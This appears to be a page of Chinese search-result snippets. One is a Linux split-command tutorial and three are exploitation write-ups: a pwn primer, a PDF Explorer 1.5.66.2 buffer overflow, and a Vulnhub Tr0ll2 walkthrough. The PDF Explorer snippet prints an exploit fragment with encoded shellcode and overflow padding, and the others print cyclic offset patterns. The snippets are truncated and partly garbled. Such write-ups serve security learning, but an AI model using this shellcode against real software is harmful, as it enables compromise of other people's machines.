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    详解使用 split 命令分割 Linux 文件

    一些简单的 Linux 命令能让你根据需要分割以及重新组合文件,来适应存储或电子邮件附件大小的限制。 Linux 系统提供了一个非常易于使用的命令来分割文件。...例如,要将你原始文件分割并命名为 bigfile.aa、bigfile.ab 等,你可以将前缀添加到 split 命令的末尾,如下所示: $ split –-verbose bigfile bigfile.... creating file 'bigfile.aa' creating file 'bigfile.ab' creating file 'bigfile.ac' 请注意,上述命令中显示的前缀的末尾会添加一个点...$ split --verbose -l1000 logfile log. creating file 'log.aa' creating file 'log.ab' creating file 'log.ac...$ split --verbose -b50K zip zip. creating file 'zip.aa' creating file 'zip.ab' creating file 'zip.ac'

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    Linux pwn入门学习到放弃

    本文记录菜鸟学习linux pwn入门的一些过程,详细介绍linux上的保护机制,分析一些常见漏洞如栈溢出,堆溢出,use after free等,以及一些常见工具介绍等。...linux程序的常用保护机制 先来学习一些关于linux方面的保护措施,操作系统提供了许多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全风险,包括DEP、ASLR等。...在Linux中我们将cookie信息称为canary/金丝雀。...: Partial 发现没有栈保护,没有CANARY保护 生成构造的数据 这里用到一个脚本pattern.py来生成随机数据,来自这里 python2 pattern.py create 150 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9...Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

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    漏洞丨PDF Explorer 1.5.66.2 - Buffer Overflow

    漏洞测验首先安装软件,然后打开:点击数据库:点击自定义域设置:目标输入框如下:我们测试输入,一直输入1,嘎嘎快乐:2、检测溢出点整奔溃了,咱利用kali中pattern_create生成字符串,用来定位溢出点:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B...使用x32dbg打开PDF Explorer,运行:观察x32dbg,按一下F9,让程序跑,观察EIP,找到溢出点:EIP是:396A4138即在396A4138处溢出,在这块截断字符串(注意小端序):Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj93...exp:#define _CRT_SECURE_NO_WARNINGS#include#includeconst char* a = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lixLBs0s0S0U0nim56QKpSTnkPPP0lKsb4LNksbr4lKbRFH4OoGrj7VFQYoLlgLPa1lTB4lepZahO6m5QjgZBXrf2rwnkrrFpNkRjGLnk2lDQd8ZCw831xQ0QLKv9q0gqkcNkqYdX8cvZQYLKdtnk7qHVdqIollKqHOtM31hGTxYpSEZV4CsMyh5kama4D5KTQHLKf84d31HSU6LKdLPKNkqHWls1yCnkTDnk6a8PlI3tUt6DckckQqqICjcaIoIpaOco3jnk5BXknm3mpjeQlMnelrc0wpwprpRHEaNk2OOwkO8UOKjPluORCfE8LfNuoMMMIo9EgLwv3LdJK0Ikm0D535MkaWb3T2poPjgpv3yojuBC51RLcSDn2E2XPeGpAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA駑鈜悙悙悙悙悙悙TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lixLBs0s0S0U0nim56QKpSTnkPPP0lKsb4LNksbr4lKbRFH4OoGrj7VFQYoLlgLPa1lTB4lepZahO6m5QjgZBXrf2rwnkrrFpNkRjGLnk2lDQd8ZCw831xQ0QLKv9q0gqkcNkqYdX8cvZQYLKdtnk7qHVdqIollKqHOtM31hGTxYpSEZV4CsMyh5kama4D5KTQHLKf84d31HSU6LKdLPKNkqHWls1yCnkTDnk6a8PlI3tUt6DckckQqqICjcaIoIpaOco3jnk5BXknm3mpjeQlMnelrc0wpwprpRHEaNk2OOwkO8UOKjPluORCfE8LfNuoMMMIo9EgLwv3LdJK0Ikm0D535MkaWb3T2poPjgpv3yojuBC51RLcSDn2E2XPeGpAA

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    渗透专题丨Vulnhub-Tr0ll2靶机打靶

    可疑文件,运行不同的root文件,发现需要传入参数,输入500个A,测试到door2中r00t会崩溃,是我们需要的,抠出来:接下来用ida打开分析一下:可以看到这是一个缓冲区溢出漏洞,生成随机字符串:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

    21430
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